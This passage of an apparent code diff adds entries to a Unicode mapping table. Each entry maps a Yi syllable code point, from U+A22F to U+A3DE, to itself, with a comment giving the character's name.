+ ["\uA22F", "\uA22F"], /* YI SYLLABLE GGUR */
+ ["\uA230", "\uA230"], /* YI SYLLABLE MGIEX */
+ ["\uA231", "\uA231"], /* YI SYLLABLE MGIE */
+ ["\uA232", "\uA232"], /* YI SYLLABLE MGAT */
+ ["\uA233", "\uA233"], /* YI SYLLABLE MGAX */
+ ["\uA234", "\uA234"], /* YI SYLLABLE MGA */
+ ["\uA235", "\uA235"], /* YI SYLLABLE MGAP */
+ ["\uA236", "\uA236"], /* YI SYLLABLE MGUOX */
+ ["\uA237", "\uA237"], /* YI SYLLABLE MGUO */
+ ["\uA238", "\uA238"], /* YI SYLLABLE MGUOP */
+ ["\uA239", "\uA239"], /* YI SYLLABLE MGOT */
+ ["\uA23A", "\uA23A"], /* YI SYLLABLE MGOX */
+ ["\uA23B", "\uA23B"], /* YI SYLLABLE MGO */
+ ["\uA23C", "\uA23C"], /* YI SYLLABLE MGOP */
+ ["\uA23D", "\uA23D"], /* YI SYLLABLE MGEX */
+ ["\uA23E", "\uA23E"], /* YI SYLLABLE MGE */
+ ["\uA23F", "\uA23F"], /* YI SYLLABLE MGEP */
+ ["\uA240", "\uA240"], /* YI SYLLABLE MGUT */
+ ["\uA241", "\uA241"], /* YI SYLLABLE MGUX */
+ ["\uA242", "\uA242"], /* YI SYLLABLE MGU */
+ ["\uA243", "\uA243"], /* YI SYLLABLE MGUP */
+ ["\uA244", "\uA244"], /* YI SYLLABLE MGURX */
+ ["\uA245", "\uA245"], /* YI SYLLABLE MGUR */
+ ["\uA246", "\uA246"], /* YI SYLLABLE HXIT */
+ ["\uA247", "\uA247"], /* YI SYLLABLE HXIX */
+ ["\uA248", "\uA248"], /* YI SYLLABLE HXI */
+ ["\uA249", "\uA249"], /* YI SYLLABLE HXIP */
+ ["\uA24A", "\uA24A"], /* YI SYLLABLE HXIET */
+ ["\uA24B", "\uA24B"], /* YI SYLLABLE HXIEX */
+ ["\uA24C", "\uA24C"], /* YI SYLLABLE HXIE */
+ ["\uA24D", "\uA24D"], /* YI SYLLABLE HXIEP */
+ ["\uA24E", "\uA24E"], /* YI SYLLABLE HXAT */
+ ["\uA24F", "\uA24F"], /* YI SYLLABLE HXAX */
+ ["\uA250", "\uA250"], /* YI SYLLABLE HXA */
+ ["\uA251", "\uA251"], /* YI SYLLABLE HXAP */
+ ["\uA252", "\uA252"], /* YI SYLLABLE HXUOT */
+ ["\uA253", "\uA253"], /* YI SYLLABLE HXUOX */
+ ["\uA254", "\uA254"], /* YI SYLLABLE HXUO */
+ ["\uA255", "\uA255"], /* YI SYLLABLE HXUOP */
+ ["\uA256", "\uA256"], /* YI SYLLABLE HXOT */
+ ["\uA257", "\uA257"], /* YI SYLLABLE HXOX */
+ ["\uA258", "\uA258"], /* YI SYLLABLE HXO */
+ ["\uA259", "\uA259"], /* YI SYLLABLE HXOP */
+ ["\uA25A", "\uA25A"], /* YI SYLLABLE HXEX */
+ ["\uA25B", "\uA25B"], /* YI SYLLABLE HXE */
+ ["\uA25C", "\uA25C"], /* YI SYLLABLE HXEP */
+ ["\uA25D", "\uA25D"], /* YI SYLLABLE NGIEX */
+ ["\uA25E", "\uA25E"], /* YI SYLLABLE NGIE */
+ ["\uA25F", "\uA25F"], /* YI SYLLABLE NGIEP */
+ ["\uA260", "\uA260"], /* YI SYLLABLE NGAT */
+ ["\uA261", "\uA261"], /* YI SYLLABLE NGAX */
+ ["\uA262", "\uA262"], /* YI SYLLABLE NGA */
+ ["\uA263", "\uA263"], /* YI SYLLABLE NGAP */
+ ["\uA264", "\uA264"], /* YI SYLLABLE NGUOT */
+ ["\uA265", "\uA265"], /* YI SYLLABLE NGUOX */
+ ["\uA266", "\uA266"], /* YI SYLLABLE NGUO */
+ ["\uA267", "\uA267"], /* YI SYLLABLE NGOT */
+ ["\uA268", "\uA268"], /* YI SYLLABLE NGOX */
+ ["\uA269", "\uA269"], /* YI SYLLABLE NGO */
+ ["\uA26A", "\uA26A"], /* YI SYLLABLE NGOP */
+ ["\uA26B", "\uA26B"], /* YI SYLLABLE NGEX */
+ ["\uA26C", "\uA26C"], /* YI SYLLABLE NGE */
+ ["\uA26D", "\uA26D"], /* YI SYLLABLE NGEP */
+ ["\uA26E", "\uA26E"], /* YI SYLLABLE HIT */
+ ["\uA26F", "\uA26F"], /* YI SYLLABLE HIEX */
+ ["\uA270", "\uA270"], /* YI SYLLABLE HIE */
+ ["\uA271", "\uA271"], /* YI SYLLABLE HAT */
+ ["\uA272", "\uA272"], /* YI SYLLABLE HAX */
+ ["\uA273", "\uA273"], /* YI SYLLABLE HA */
+ ["\uA274", "\uA274"], /* YI SYLLABLE HAP */
+ ["\uA275", "\uA275"], /* YI SYLLABLE HUOT */
+ ["\uA276", "\uA276"], /* YI SYLLABLE HUOX */
+ ["\uA277", "\uA277"], /* YI SYLLABLE HUO */
+ ["\uA278", "\uA278"], /* YI SYLLABLE HUOP */
+ ["\uA279", "\uA279"], /* YI SYLLABLE HOT */
+ ["\uA27A", "\uA27A"], /* YI SYLLABLE HOX */
+ ["\uA27B", "\uA27B"], /* YI SYLLABLE HO */
+ ["\uA27C", "\uA27C"], /* YI SYLLABLE HOP */
+ ["\uA27D", "\uA27D"], /* YI SYLLABLE HEX */
+ ["\uA27E", "\uA27E"], /* YI SYLLABLE HE */
+ ["\uA27F", "\uA27F"], /* YI SYLLABLE HEP */
+ ["\uA280", "\uA280"], /* YI SYLLABLE WAT */
+ ["\uA281", "\uA281"], /* YI SYLLABLE WAX */
+ ["\uA282", "\uA282"], /* YI SYLLABLE WA */
+ ["\uA283", "\uA283"], /* YI SYLLABLE WAP */
+ ["\uA284", "\uA284"], /* YI SYLLABLE WUOX */
+ ["\uA285", "\uA285"], /* YI SYLLABLE WUO */
+ ["\uA286", "\uA286"], /* YI SYLLABLE WUOP */
+ ["\uA287", "\uA287"], /* YI SYLLABLE WOX */
+ ["\uA288", "\uA288"], /* YI SYLLABLE WO */
+ ["\uA289", "\uA289"], /* YI SYLLABLE WOP */
+ ["\uA28A", "\uA28A"], /* YI SYLLABLE WEX */
+ ["\uA28B", "\uA28B"], /* YI SYLLABLE WE */
+ ["\uA28C", "\uA28C"], /* YI SYLLABLE WEP */
+ ["\uA28D", "\uA28D"], /* YI SYLLABLE ZIT */
+ ["\uA28E", "\uA28E"], /* YI SYLLABLE ZIX */
+ ["\uA28F", "\uA28F"], /* YI SYLLABLE ZI */
+ ["\uA290", "\uA290"], /* YI SYLLABLE ZIP */
+ ["\uA291", "\uA291"], /* YI SYLLABLE ZIEX */
+ ["\uA292", "\uA292"], /* YI SYLLABLE ZIE */
+ ["\uA293", "\uA293"], /* YI SYLLABLE ZIEP */
+ ["\uA294", "\uA294"], /* YI SYLLABLE ZAT */
+ ["\uA295", "\uA295"], /* YI SYLLABLE ZAX */
+ ["\uA296", "\uA296"], /* YI SYLLABLE ZA */
+ ["\uA297", "\uA297"], /* YI SYLLABLE ZAP */
+ ["\uA298", "\uA298"], /* YI SYLLABLE ZUOX */
+ ["\uA299", "\uA299"], /* YI SYLLABLE ZUO */
+ ["\uA29A", "\uA29A"], /* YI SYLLABLE ZUOP */
+ ["\uA29B", "\uA29B"], /* YI SYLLABLE ZOT */
+ ["\uA29C", "\uA29C"], /* YI SYLLABLE ZOX */
+ ["\uA29D", "\uA29D"], /* YI SYLLABLE ZO */
+ ["\uA29E", "\uA29E"], /* YI SYLLABLE ZOP */
+ ["\uA29F", "\uA29F"], /* YI SYLLABLE ZEX */
+ ["\uA2A0", "\uA2A0"], /* YI SYLLABLE ZE */
+ ["\uA2A1", "\uA2A1"], /* YI SYLLABLE ZEP */
+ ["\uA2A2", "\uA2A2"], /* YI SYLLABLE ZUT */
+ ["\uA2A3", "\uA2A3"], /* YI SYLLABLE ZUX */
+ ["\uA2A4", "\uA2A4"], /* YI SYLLABLE ZU */
+ ["\uA2A5", "\uA2A5"], /* YI SYLLABLE ZUP */
+ ["\uA2A6", "\uA2A6"], /* YI SYLLABLE ZURX */
+ ["\uA2A7", "\uA2A7"], /* YI SYLLABLE ZUR */
+ ["\uA2A8", "\uA2A8"], /* YI SYLLABLE ZYT */
+ ["\uA2A9", "\uA2A9"], /* YI SYLLABLE ZYX */
+ ["\uA2AA", "\uA2AA"], /* YI SYLLABLE ZY */
+ ["\uA2AB", "\uA2AB"], /* YI SYLLABLE ZYP */
+ ["\uA2AC", "\uA2AC"], /* YI SYLLABLE ZYRX */
+ ["\uA2AD", "\uA2AD"], /* YI SYLLABLE ZYR */
+ ["\uA2AE", "\uA2AE"], /* YI SYLLABLE CIT */
+ ["\uA2AF", "\uA2AF"], /* YI SYLLABLE CIX */
+ ["\uA2B0", "\uA2B0"], /* YI SYLLABLE CI */
+ ["\uA2B1", "\uA2B1"], /* YI SYLLABLE CIP */
+ ["\uA2B2", "\uA2B2"], /* YI SYLLABLE CIET */
+ ["\uA2B3", "\uA2B3"], /* YI SYLLABLE CIEX */
+ ["\uA2B4", "\uA2B4"], /* YI SYLLABLE CIE */
+ ["\uA2B5", "\uA2B5"], /* YI SYLLABLE CIEP */
+ ["\uA2B6", "\uA2B6"], /* YI SYLLABLE CAT */
+ ["\uA2B7", "\uA2B7"], /* YI SYLLABLE CAX */
+ ["\uA2B8", "\uA2B8"], /* YI SYLLABLE CA */
+ ["\uA2B9", "\uA2B9"], /* YI SYLLABLE CAP */
+ ["\uA2BA", "\uA2BA"], /* YI SYLLABLE CUOX */
+ ["\uA2BB", "\uA2BB"], /* YI SYLLABLE CUO */
+ ["\uA2BC", "\uA2BC"], /* YI SYLLABLE CUOP */
+ ["\uA2BD", "\uA2BD"], /* YI SYLLABLE COT */
+ ["\uA2BE", "\uA2BE"], /* YI SYLLABLE COX */
+ ["\uA2BF", "\uA2BF"], /* YI SYLLABLE CO */
+ ["\uA2C0", "\uA2C0"], /* YI SYLLABLE COP */
+ ["\uA2C1", "\uA2C1"], /* YI SYLLABLE CEX */
+ ["\uA2C2", "\uA2C2"], /* YI SYLLABLE CE */
+ ["\uA2C3", "\uA2C3"], /* YI SYLLABLE CEP */
+ ["\uA2C4", "\uA2C4"], /* YI SYLLABLE CUT */
+ ["\uA2C5", "\uA2C5"], /* YI SYLLABLE CUX */
+ ["\uA2C6", "\uA2C6"], /* YI SYLLABLE CU */
+ ["\uA2C7", "\uA2C7"], /* YI SYLLABLE CUP */
+ ["\uA2C8", "\uA2C8"], /* YI SYLLABLE CURX */
+ ["\uA2C9", "\uA2C9"], /* YI SYLLABLE CUR */
+ ["\uA2CA", "\uA2CA"], /* YI SYLLABLE CYT */
+ ["\uA2CB", "\uA2CB"], /* YI SYLLABLE CYX */
+ ["\uA2CC", "\uA2CC"], /* YI SYLLABLE CY */
+ ["\uA2CD", "\uA2CD"], /* YI SYLLABLE CYP */
+ ["\uA2CE", "\uA2CE"], /* YI SYLLABLE CYRX */
+ ["\uA2CF", "\uA2CF"], /* YI SYLLABLE CYR */
+ ["\uA2D0", "\uA2D0"], /* YI SYLLABLE ZZIT */
+ ["\uA2D1", "\uA2D1"], /* YI SYLLABLE ZZIX */
+ ["\uA2D2", "\uA2D2"], /* YI SYLLABLE ZZI */
+ ["\uA2D3", "\uA2D3"], /* YI SYLLABLE ZZIP */
+ ["\uA2D4", "\uA2D4"], /* YI SYLLABLE ZZIET */
+ ["\uA2D5", "\uA2D5"], /* YI SYLLABLE ZZIEX */
+ ["\uA2D6", "\uA2D6"], /* YI SYLLABLE ZZIE */
+ ["\uA2D7", "\uA2D7"], /* YI SYLLABLE ZZIEP */
+ ["\uA2D8", "\uA2D8"], /* YI SYLLABLE ZZAT */
+ ["\uA2D9", "\uA2D9"], /* YI SYLLABLE ZZAX */
+ ["\uA2DA", "\uA2DA"], /* YI SYLLABLE ZZA */
+ ["\uA2DB", "\uA2DB"], /* YI SYLLABLE ZZAP */
+ ["\uA2DC", "\uA2DC"], /* YI SYLLABLE ZZOX */
+ ["\uA2DD", "\uA2DD"], /* YI SYLLABLE ZZO */
+ ["\uA2DE", "\uA2DE"], /* YI SYLLABLE ZZOP */
+ ["\uA2DF", "\uA2DF"], /* YI SYLLABLE ZZEX */
+ ["\uA2E0", "\uA2E0"], /* YI SYLLABLE ZZE */
+ ["\uA2E1", "\uA2E1"], /* YI SYLLABLE ZZEP */
+ ["\uA2E2", "\uA2E2"], /* YI SYLLABLE ZZUX */
+ ["\uA2E3", "\uA2E3"], /* YI SYLLABLE ZZU */
+ ["\uA2E4", "\uA2E4"], /* YI SYLLABLE ZZUP */
+ ["\uA2E5", "\uA2E5"], /* YI SYLLABLE ZZURX */
+ ["\uA2E6", "\uA2E6"], /* YI SYLLABLE ZZUR */
+ ["\uA2E7", "\uA2E7"], /* YI SYLLABLE ZZYT */
+ ["\uA2E8", "\uA2E8"], /* YI SYLLABLE ZZYX */
+ ["\uA2E9", "\uA2E9"], /* YI SYLLABLE ZZY */
+ ["\uA2EA", "\uA2EA"], /* YI SYLLABLE ZZYP */
+ ["\uA2EB", "\uA2EB"], /* YI SYLLABLE ZZYRX */
+ ["\uA2EC", "\uA2EC"], /* YI SYLLABLE ZZYR */
+ ["\uA2ED", "\uA2ED"], /* YI SYLLABLE NZIT */
+ ["\uA2EE", "\uA2EE"], /* YI SYLLABLE NZIX */
+ ["\uA2EF", "\uA2EF"], /* YI SYLLABLE NZI */
+ ["\uA2F0", "\uA2F0"], /* YI SYLLABLE NZIP */
+ ["\uA2F1", "\uA2F1"], /* YI SYLLABLE NZIEX */
+ ["\uA2F2", "\uA2F2"], /* YI SYLLABLE NZIE */
+ ["\uA2F3", "\uA2F3"], /* YI SYLLABLE NZIEP */
+ ["\uA2F4", "\uA2F4"], /* YI SYLLABLE NZAT */
+ ["\uA2F5", "\uA2F5"], /* YI SYLLABLE NZAX */
+ ["\uA2F6", "\uA2F6"], /* YI SYLLABLE NZA */
+ ["\uA2F7", "\uA2F7"], /* YI SYLLABLE NZAP */
+ ["\uA2F8", "\uA2F8"], /* YI SYLLABLE NZUOX */
+ ["\uA2F9", "\uA2F9"], /* YI SYLLABLE NZUO */
+ ["\uA2FA", "\uA2FA"], /* YI SYLLABLE NZOX */
+ ["\uA2FB", "\uA2FB"], /* YI SYLLABLE NZOP */
+ ["\uA2FC", "\uA2FC"], /* YI SYLLABLE NZEX */
+ ["\uA2FD", "\uA2FD"], /* YI SYLLABLE NZE */
+ ["\uA2FE", "\uA2FE"], /* YI SYLLABLE NZUX */
+ ["\uA2FF", "\uA2FF"], /* YI SYLLABLE NZU */
+ ["\uA300", "\uA300"], /* YI SYLLABLE NZUP */
+ ["\uA301", "\uA301"], /* YI SYLLABLE NZURX */
+ ["\uA302", "\uA302"], /* YI SYLLABLE NZUR */
+ ["\uA303", "\uA303"], /* YI SYLLABLE NZYT */
+ ["\uA304", "\uA304"], /* YI SYLLABLE NZYX */
+ ["\uA305", "\uA305"], /* YI SYLLABLE NZY */
+ ["\uA306", "\uA306"], /* YI SYLLABLE NZYP */
+ ["\uA307", "\uA307"], /* YI SYLLABLE NZYRX */
+ ["\uA308", "\uA308"], /* YI SYLLABLE NZYR */
+ ["\uA309", "\uA309"], /* YI SYLLABLE SIT */
+ ["\uA30A", "\uA30A"], /* YI SYLLABLE SIX */
+ ["\uA30B", "\uA30B"], /* YI SYLLABLE SI */
+ ["\uA30C", "\uA30C"], /* YI SYLLABLE SIP */
+ ["\uA30D", "\uA30D"], /* YI SYLLABLE SIEX */
+ ["\uA30E", "\uA30E"], /* YI SYLLABLE SIE */
+ ["\uA30F", "\uA30F"], /* YI SYLLABLE SIEP */
+ ["\uA310", "\uA310"], /* YI SYLLABLE SAT */
+ ["\uA311", "\uA311"], /* YI SYLLABLE SAX */
+ ["\uA312", "\uA312"], /* YI SYLLABLE SA */
+ ["\uA313", "\uA313"], /* YI SYLLABLE SAP */
+ ["\uA314", "\uA314"], /* YI SYLLABLE SUOX */
+ ["\uA315", "\uA315"], /* YI SYLLABLE SUO */
+ ["\uA316", "\uA316"], /* YI SYLLABLE SUOP */
+ ["\uA317", "\uA317"], /* YI SYLLABLE SOT */
+ ["\uA318", "\uA318"], /* YI SYLLABLE SOX */
+ ["\uA319", "\uA319"], /* YI SYLLABLE SO */
+ ["\uA31A", "\uA31A"], /* YI SYLLABLE SOP */
+ ["\uA31B", "\uA31B"], /* YI SYLLABLE SEX */
+ ["\uA31C", "\uA31C"], /* YI SYLLABLE SE */
+ ["\uA31D", "\uA31D"], /* YI SYLLABLE SEP */
+ ["\uA31E", "\uA31E"], /* YI SYLLABLE SUT */
+ ["\uA31F", "\uA31F"], /* YI SYLLABLE SUX */
+ ["\uA320", "\uA320"], /* YI SYLLABLE SU */
+ ["\uA321", "\uA321"], /* YI SYLLABLE SUP */
+ ["\uA322", "\uA322"], /* YI SYLLABLE SURX */
+ ["\uA323", "\uA323"], /* YI SYLLABLE SUR */
+ ["\uA324", "\uA324"], /* YI SYLLABLE SYT */
+ ["\uA325", "\uA325"], /* YI SYLLABLE SYX */
+ ["\uA326", "\uA326"], /* YI SYLLABLE SY */
+ ["\uA327", "\uA327"], /* YI SYLLABLE SYP */
+ ["\uA328", "\uA328"], /* YI SYLLABLE SYRX */
+ ["\uA329", "\uA329"], /* YI SYLLABLE SYR */
+ ["\uA32A", "\uA32A"], /* YI SYLLABLE SSIT */
+ ["\uA32B", "\uA32B"], /* YI SYLLABLE SSIX */
+ ["\uA32C", "\uA32C"], /* YI SYLLABLE SSI */
+ ["\uA32D", "\uA32D"], /* YI SYLLABLE SSIP */
+ ["\uA32E", "\uA32E"], /* YI SYLLABLE SSIEX */
+ ["\uA32F", "\uA32F"], /* YI SYLLABLE SSIE */
+ ["\uA330", "\uA330"], /* YI SYLLABLE SSIEP */
+ ["\uA331", "\uA331"], /* YI SYLLABLE SSAT */
+ ["\uA332", "\uA332"], /* YI SYLLABLE SSAX */
+ ["\uA333", "\uA333"], /* YI SYLLABLE SSA */
+ ["\uA334", "\uA334"], /* YI SYLLABLE SSAP */
+ ["\uA335", "\uA335"], /* YI SYLLABLE SSOT */
+ ["\uA336", "\uA336"], /* YI SYLLABLE SSOX */
+ ["\uA337", "\uA337"], /* YI SYLLABLE SSO */
+ ["\uA338", "\uA338"], /* YI SYLLABLE SSOP */
+ ["\uA339", "\uA339"], /* YI SYLLABLE SSEX */
+ ["\uA33A", "\uA33A"], /* YI SYLLABLE SSE */
+ ["\uA33B", "\uA33B"], /* YI SYLLABLE SSEP */
+ ["\uA33C", "\uA33C"], /* YI SYLLABLE SSUT */
+ ["\uA33D", "\uA33D"], /* YI SYLLABLE SSUX */
+ ["\uA33E", "\uA33E"], /* YI SYLLABLE SSU */
+ ["\uA33F", "\uA33F"], /* YI SYLLABLE SSUP */
+ ["\uA340", "\uA340"], /* YI SYLLABLE SSYT */
+ ["\uA341", "\uA341"], /* YI SYLLABLE SSYX */
+ ["\uA342", "\uA342"], /* YI SYLLABLE SSY */
+ ["\uA343", "\uA343"], /* YI SYLLABLE SSYP */
+ ["\uA344", "\uA344"], /* YI SYLLABLE SSYRX */
+ ["\uA345", "\uA345"], /* YI SYLLABLE SSYR */
+ ["\uA346", "\uA346"], /* YI SYLLABLE ZHAT */
+ ["\uA347", "\uA347"], /* YI SYLLABLE ZHAX */
+ ["\uA348", "\uA348"], /* YI SYLLABLE ZHA */
+ ["\uA349", "\uA349"], /* YI SYLLABLE ZHAP */
+ ["\uA34A", "\uA34A"], /* YI SYLLABLE ZHUOX */
+ ["\uA34B", "\uA34B"], /* YI SYLLABLE ZHUO */
+ ["\uA34C", "\uA34C"], /* YI SYLLABLE ZHUOP */
+ ["\uA34D", "\uA34D"], /* YI SYLLABLE ZHOT */
+ ["\uA34E", "\uA34E"], /* YI SYLLABLE ZHOX */
+ ["\uA34F", "\uA34F"], /* YI SYLLABLE ZHO */
+ ["\uA350", "\uA350"], /* YI SYLLABLE ZHOP */
+ ["\uA351", "\uA351"], /* YI SYLLABLE ZHET */
+ ["\uA352", "\uA352"], /* YI SYLLABLE ZHEX */
+ ["\uA353", "\uA353"], /* YI SYLLABLE ZHE */
+ ["\uA354", "\uA354"], /* YI SYLLABLE ZHEP */
+ ["\uA355", "\uA355"], /* YI SYLLABLE ZHUT */
+ ["\uA356", "\uA356"], /* YI SYLLABLE ZHUX */
+ ["\uA357", "\uA357"], /* YI SYLLABLE ZHU */
+ ["\uA358", "\uA358"], /* YI SYLLABLE ZHUP */
+ ["\uA359", "\uA359"], /* YI SYLLABLE ZHURX */
+ ["\uA35A", "\uA35A"], /* YI SYLLABLE ZHUR */
+ ["\uA35B", "\uA35B"], /* YI SYLLABLE ZHYT */
+ ["\uA35C", "\uA35C"], /* YI SYLLABLE ZHYX */
+ ["\uA35D", "\uA35D"], /* YI SYLLABLE ZHY */
+ ["\uA35E", "\uA35E"], /* YI SYLLABLE ZHYP */
+ ["\uA35F", "\uA35F"], /* YI SYLLABLE ZHYRX */
+ ["\uA360", "\uA360"], /* YI SYLLABLE ZHYR */
+ ["\uA361", "\uA361"], /* YI SYLLABLE CHAT */
+ ["\uA362", "\uA362"], /* YI SYLLABLE CHAX */
+ ["\uA363", "\uA363"], /* YI SYLLABLE CHA */
+ ["\uA364", "\uA364"], /* YI SYLLABLE CHAP */
+ ["\uA365", "\uA365"], /* YI SYLLABLE CHUOT */
+ ["\uA366", "\uA366"], /* YI SYLLABLE CHUOX */
+ ["\uA367", "\uA367"], /* YI SYLLABLE CHUO */
+ ["\uA368", "\uA368"], /* YI SYLLABLE CHUOP */
+ ["\uA369", "\uA369"], /* YI SYLLABLE CHOT */
+ ["\uA36A", "\uA36A"], /* YI SYLLABLE CHOX */
+ ["\uA36B", "\uA36B"], /* YI SYLLABLE CHO */
+ ["\uA36C", "\uA36C"], /* YI SYLLABLE CHOP */
+ ["\uA36D", "\uA36D"], /* YI SYLLABLE CHET */
+ ["\uA36E", "\uA36E"], /* YI SYLLABLE CHEX */
+ ["\uA36F", "\uA36F"], /* YI SYLLABLE CHE */
+ ["\uA370", "\uA370"], /* YI SYLLABLE CHEP */
+ ["\uA371", "\uA371"], /* YI SYLLABLE CHUX */
+ ["\uA372", "\uA372"], /* YI SYLLABLE CHU */
+ ["\uA373", "\uA373"], /* YI SYLLABLE CHUP */
+ ["\uA374", "\uA374"], /* YI SYLLABLE CHURX */
+ ["\uA375", "\uA375"], /* YI SYLLABLE CHUR */
+ ["\uA376", "\uA376"], /* YI SYLLABLE CHYT */
+ ["\uA377", "\uA377"], /* YI SYLLABLE CHYX */
+ ["\uA378", "\uA378"], /* YI SYLLABLE CHY */
+ ["\uA379", "\uA379"], /* YI SYLLABLE CHYP */
+ ["\uA37A", "\uA37A"], /* YI SYLLABLE CHYRX */
+ ["\uA37B", "\uA37B"], /* YI SYLLABLE CHYR */
+ ["\uA37C", "\uA37C"], /* YI SYLLABLE RRAX */
+ ["\uA37D", "\uA37D"], /* YI SYLLABLE RRA */
+ ["\uA37E", "\uA37E"], /* YI SYLLABLE RRUOX */
+ ["\uA37F", "\uA37F"], /* YI SYLLABLE RRUO */
+ ["\uA380", "\uA380"], /* YI SYLLABLE RROT */
+ ["\uA381", "\uA381"], /* YI SYLLABLE RROX */
+ ["\uA382", "\uA382"], /* YI SYLLABLE RRO */
+ ["\uA383", "\uA383"], /* YI SYLLABLE RROP */
+ ["\uA384", "\uA384"], /* YI SYLLABLE RRET */
+ ["\uA385", "\uA385"], /* YI SYLLABLE RREX */
+ ["\uA386", "\uA386"], /* YI SYLLABLE RRE */
+ ["\uA387", "\uA387"], /* YI SYLLABLE RREP */
+ ["\uA388", "\uA388"], /* YI SYLLABLE RRUT */
+ ["\uA389", "\uA389"], /* YI SYLLABLE RRUX */
+ ["\uA38A", "\uA38A"], /* YI SYLLABLE RRU */
+ ["\uA38B", "\uA38B"], /* YI SYLLABLE RRUP */
+ ["\uA38C", "\uA38C"], /* YI SYLLABLE RRURX */
+ ["\uA38D", "\uA38D"], /* YI SYLLABLE RRUR */
+ ["\uA38E", "\uA38E"], /* YI SYLLABLE RRYT */
+ ["\uA38F", "\uA38F"], /* YI SYLLABLE RRYX */
+ ["\uA390", "\uA390"], /* YI SYLLABLE RRY */
+ ["\uA391", "\uA391"], /* YI SYLLABLE RRYP */
+ ["\uA392", "\uA392"], /* YI SYLLABLE RRYRX */
+ ["\uA393", "\uA393"], /* YI SYLLABLE RRYR */
+ ["\uA394", "\uA394"], /* YI SYLLABLE NRAT */
+ ["\uA395", "\uA395"], /* YI SYLLABLE NRAX */
+ ["\uA396", "\uA396"], /* YI SYLLABLE NRA */
+ ["\uA397", "\uA397"], /* YI SYLLABLE NRAP */
+ ["\uA398", "\uA398"], /* YI SYLLABLE NROX */
+ ["\uA399", "\uA399"], /* YI SYLLABLE NRO */
+ ["\uA39A", "\uA39A"], /* YI SYLLABLE NROP */
+ ["\uA39B", "\uA39B"], /* YI SYLLABLE NRET */
+ ["\uA39C", "\uA39C"], /* YI SYLLABLE NREX */
+ ["\uA39D", "\uA39D"], /* YI SYLLABLE NRE */
+ ["\uA39E", "\uA39E"], /* YI SYLLABLE NREP */
+ ["\uA39F", "\uA39F"], /* YI SYLLABLE NRUT */
+ ["\uA3A0", "\uA3A0"], /* YI SYLLABLE NRUX */
+ ["\uA3A1", "\uA3A1"], /* YI SYLLABLE NRU */
+ ["\uA3A2", "\uA3A2"], /* YI SYLLABLE NRUP */
+ ["\uA3A3", "\uA3A3"], /* YI SYLLABLE NRURX */
+ ["\uA3A4", "\uA3A4"], /* YI SYLLABLE NRUR */
+ ["\uA3A5", "\uA3A5"], /* YI SYLLABLE NRYT */
+ ["\uA3A6", "\uA3A6"], /* YI SYLLABLE NRYX */
+ ["\uA3A7", "\uA3A7"], /* YI SYLLABLE NRY */
+ ["\uA3A8", "\uA3A8"], /* YI SYLLABLE NRYP */
+ ["\uA3A9", "\uA3A9"], /* YI SYLLABLE NRYRX */
+ ["\uA3AA", "\uA3AA"], /* YI SYLLABLE NRYR */
+ ["\uA3AB", "\uA3AB"], /* YI SYLLABLE SHAT */
+ ["\uA3AC", "\uA3AC"], /* YI SYLLABLE SHAX */
+ ["\uA3AD", "\uA3AD"], /* YI SYLLABLE SHA */
+ ["\uA3AE", "\uA3AE"], /* YI SYLLABLE SHAP */
+ ["\uA3AF", "\uA3AF"], /* YI SYLLABLE SHUOX */
+ ["\uA3B0", "\uA3B0"], /* YI SYLLABLE SHUO */
+ ["\uA3B1", "\uA3B1"], /* YI SYLLABLE SHUOP */
+ ["\uA3B2", "\uA3B2"], /* YI SYLLABLE SHOT */
+ ["\uA3B3", "\uA3B3"], /* YI SYLLABLE SHOX */
+ ["\uA3B4", "\uA3B4"], /* YI SYLLABLE SHO */
+ ["\uA3B5", "\uA3B5"], /* YI SYLLABLE SHOP */
+ ["\uA3B6", "\uA3B6"], /* YI SYLLABLE SHET */
+ ["\uA3B7", "\uA3B7"], /* YI SYLLABLE SHEX */
+ ["\uA3B8", "\uA3B8"], /* YI SYLLABLE SHE */
+ ["\uA3B9", "\uA3B9"], /* YI SYLLABLE SHEP */
+ ["\uA3BA", "\uA3BA"], /* YI SYLLABLE SHUT */
+ ["\uA3BB", "\uA3BB"], /* YI SYLLABLE SHUX */
+ ["\uA3BC", "\uA3BC"], /* YI SYLLABLE SHU */
+ ["\uA3BD", "\uA3BD"], /* YI SYLLABLE SHUP */
+ ["\uA3BE", "\uA3BE"], /* YI SYLLABLE SHURX */
+ ["\uA3BF", "\uA3BF"], /* YI SYLLABLE SHUR */
+ ["\uA3C0", "\uA3C0"], /* YI SYLLABLE SHYT */
+ ["\uA3C1", "\uA3C1"], /* YI SYLLABLE SHYX */
+ ["\uA3C2", "\uA3C2"], /* YI SYLLABLE SHY */
+ ["\uA3C3", "\uA3C3"], /* YI SYLLABLE SHYP */
+ ["\uA3C4", "\uA3C4"], /* YI SYLLABLE SHYRX */
+ ["\uA3C5", "\uA3C5"], /* YI SYLLABLE SHYR */
+ ["\uA3C6", "\uA3C6"], /* YI SYLLABLE RAT */
+ ["\uA3C7", "\uA3C7"], /* YI SYLLABLE RAX */
+ ["\uA3C8", "\uA3C8"], /* YI SYLLABLE RA */
+ ["\uA3C9", "\uA3C9"], /* YI SYLLABLE RAP */
+ ["\uA3CA", "\uA3CA"], /* YI SYLLABLE RUOX */
+ ["\uA3CB", "\uA3CB"], /* YI SYLLABLE RUO */
+ ["\uA3CC", "\uA3CC"], /* YI SYLLABLE RUOP */
+ ["\uA3CD", "\uA3CD"], /* YI SYLLABLE ROT */
+ ["\uA3CE", "\uA3CE"], /* YI SYLLABLE ROX */
+ ["\uA3CF", "\uA3CF"], /* YI SYLLABLE RO */
+ ["\uA3D0", "\uA3D0"], /* YI SYLLABLE ROP */
+ ["\uA3D1", "\uA3D1"], /* YI SYLLABLE REX */
+ ["\uA3D2", "\uA3D2"], /* YI SYLLABLE RE */
+ ["\uA3D3", "\uA3D3"], /* YI SYLLABLE REP */
+ ["\uA3D4", "\uA3D4"], /* YI SYLLABLE RUT */
+ ["\uA3D5", "\uA3D5"], /* YI SYLLABLE RUX */
+ ["\uA3D6", "\uA3D6"], /* YI SYLLABLE RU */
+ ["\uA3D7", "\uA3D7"], /* YI SYLLABLE RUP */
+ ["\uA3D8", "\uA3D8"], /* YI SYLLABLE RURX */
+ ["\uA3D9", "\uA3D9"], /* YI SYLLABLE RUR */
+ ["\uA3DA", "\uA3DA"], /* YI SYLLABLE RYT */
+ ["\uA3DB", "\uA3DB"], /* YI SYLLABLE RYX */
+ ["\uA3DC", "\uA3DC"], /* YI SYLLABLE RY */
+ ["\uA3DD", "\uA3DD"], /* YI SYLLABLE RYP */
+ ["\uA3DE", "\uA3DE"], /* YI SYLLABLE RYRX */
